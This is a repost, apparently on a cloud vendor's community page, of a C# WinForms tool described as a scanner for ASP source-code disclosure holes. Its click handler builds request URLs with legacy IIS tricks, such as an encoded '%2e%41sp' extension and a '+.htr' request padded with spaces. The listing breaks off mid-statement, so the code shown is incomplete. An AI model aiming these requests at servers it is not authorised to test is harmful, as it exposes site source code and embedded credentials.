一個用c#寫的掃描asp源碼漏洞的應用程式

來源:互聯網
上載者:User
//主要方法
protected void btnGo_Click (object sender, System.EventArgs e)
{
//解析url
string strServer = this.txtServer.Text ;
string strUrl = this.txtFileName.Text ;
char [] point = {'.'} ; //定義分割符為"."
char[] line = {'/'} ; //定義分割符為"."
string [] arrString = strUrl.Split(line) ;
//求asp檔案全名
string strFileName = arrString[arrString.Length - 1] ;
//求從根目錄下的路徑
string strPath = strUrl.Substring( 0 ,
strUrl.Length - strFileName.Length) ;
//解析檔案全名
arrString = strFileName.Split(point) ;
//求副檔名
string strLast = arrString[arrString.Length - 1] ;
//求檔案名稱
string strFirst = strFileName.Substring( 0 ,
strFileName.Length - strLast.Length - 1) ;

//使按鈕、輸入框等失效
this.txtServer.ReadOnly = true ;
this.txtFileName.ReadOnly = true ;
this.btnClear.Enabled = false ;
this.btnGo.Enabled = false ;
if (this.txtServer.Text == "http://" || this.txtFileName.Text == ""
|| this.txtServer.Text.Trim()== "" ||
this.txtServer.Text.Substring(0,7) != "http://")
{
MessageBox.Show("請輸入正確的主機名稱和檔案名稱!") ;
this.txtServer.Focus() ;
}
else
{
this.txtResult.Visible = true ;
this.txtResult.ReadOnly = true ;
this.barStatus.Text = "正在連結主機…" ;
string strRequestFile ;
switch (this.cboMethod.SelectedIndex)
{
case 0: //直接讀取
strRequestFile = strServer + strUrl ;
break ;
case 5 : //%2e%41sp
strRequestFile = strServer + strPath + strFirst
+ "%2e%41sp" ;
break ;
case 8 : //longhtr
strRequestFile = strServer + strUrl
+ "+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.